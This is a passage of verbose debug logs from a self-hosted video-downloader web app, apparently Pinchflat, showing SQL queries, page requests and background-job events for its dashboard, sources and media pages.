AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:42:58.829 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:42:58.831 [info] Sent 200 in 29ms 21:43:00.235 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:43:09.789 [info] GET / 21:43:09.789 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:43:09.790 [debug] QUERY OK source="settings" db=0.7ms idle=1143.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:09.791 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1144.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:43:09.792 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1145.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:43:09.794 [debug] QUERY OK source="media_items" db=1.3ms idle=605.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:43:09.795 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=147.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:43:09.796 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:09.796 [debug] QUERY OK source="settings" db=0.2ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:09.798 [debug] QUERY OK source="settings" db=0.2ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:09.800 [debug] QUERY OK source="tasks" db=0.5ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:43:09.803 [debug] QUERY OK source="media_items" db=1.1ms idle=6.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:43:09.804 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=7.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:43:09.806 [debug] QUERY OK source="sources" db=0.6ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?,?)) [2, 7, 10, 6] 21:43:09.815 [debug] QUERY OK source="media_items" db=4.0ms queue=0.1ms idle=13.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:43:09.819 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=15.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:43:09.821 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=16.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:09.824 [info] Sent 200 in 35ms 21:43:10.765 [info] GET /sources 21:43:10.766 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:43:10.772 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=965.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.773 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=957.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.775 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=955.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.778 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=956.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.780 [info] GET /sources/10 21:43:10.781 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "10"} Pipelines: [:browser] 21:43:10.782 [info] GET /app_info 21:43:10.783 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 21:43:10.784 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 21:43:10.785 [debug] QUERY OK source="settings" db=3.0ms queue=0.8ms idle=590.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.786 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.6ms idle=10.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:10.788 [debug] QUERY OK source="settings" db=2.3ms queue=0.2ms idle=10.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.789 [debug] QUERY OK source="settings" db=0.5ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.791 [debug] QUERY OK source="settings" db=0.6ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.792 [debug] QUERY OK source="tasks" db=4.5ms queue=0.2ms idle=9.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [10, "executing", "available", "scheduled", "retryable"] 21:43:10.797 [debug] QUERY OK source="settings" db=1.6ms queue=0.4ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.797 [debug] QUERY OK source="oban_jobs" db=3.1ms queue=1.2ms idle=7.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2350] 21:43:10.799 [info] GET /media_profiles 21:43:10.803 [debug] QUERY OK source="settings" db=5.9ms queue=0.3ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.804 [info] GET /settings 21:43:10.805 [info] GET /sources/7 21:43:10.806 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 21:43:10.808 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 21:43:10.807 [info] GET /sources/2/media/13708 21:43:10.811 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "13708", "source_id" => "2"} Pipelines: [:browser] 21:43:10.812 [debug] QUERY OK source="settings" db=7.0ms queue=2.3ms idle=10.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.808 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "7"} Pipelines: [:browser] 21:43:10.814 [debug] QUERY OK source="settings" db=3.8ms queue=0.1ms idle=13.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.814 [info] GET /sources/7/media/14035 21:43:10.816 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "14035", "source_id" => "7"} Pipelines: [:browser] 21:43:10.817 [info] Sent 200 in 35ms 21:43:10.818 [debug] QUERY OK source="sources" db=3.3ms queue=0.2ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:10.818 [debug] QUERY OK source="media_items" db=4.2ms queue=0.6ms idle=16.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13708] 21:43:10.820 [debug] QUERY OK source="settings" db=4.8ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.821 [debug] QUERY OK source="media_profiles" db=4.8ms queue=1.8ms idle=10.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 21:43:10.824 [debug] QUERY OK source="settings" db=5.4ms queue=2.9ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.825 [debug] QUERY OK source="media_profiles" db=3.8ms queue=2.2ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 21:43:10.825 [debug] QUERY OK source="media_items" db=5.7ms queue=1.9ms idle=0.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14035] 21:43:10.825 [debug] QUERY OK source="settings" db=1.1ms queue=3.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.825 [debug] QUERY OK source="sources" db=0.3ms queue=0.9ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:43:10.826 [debug] QUERY OK source="settings" db=0.9ms queue=1.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.826 [debug] QUERY OK source="sources" db=0.3ms queue=0.8ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 21:43:10.827 [debug] QUERY OK source="settings" db=1.7ms queue=0.6ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.828 [debug] QUERY OK source="tasks" db=2.4ms queue=0.2ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [14035] 21:43:10.829 [debug] QUERY OK source="settings" db=1.2ms queue=2.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.830 [debug] QUERY OK source="sources" db=5.8ms queue=30.3ms idle=6.0ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:43:10.830 [debug] QUERY OK source="tasks" db=3.3ms queue=1.3ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [7, "executing", "available", "scheduled", "retryable"] 21:43:10.831 [debug] QUERY OK source="tasks" db=1.9ms queue=4.6ms idle=0.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [13708] 21:43:10.830 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:43:10.832 [debug] QUERY OK source="oban_jobs" db=1.6ms 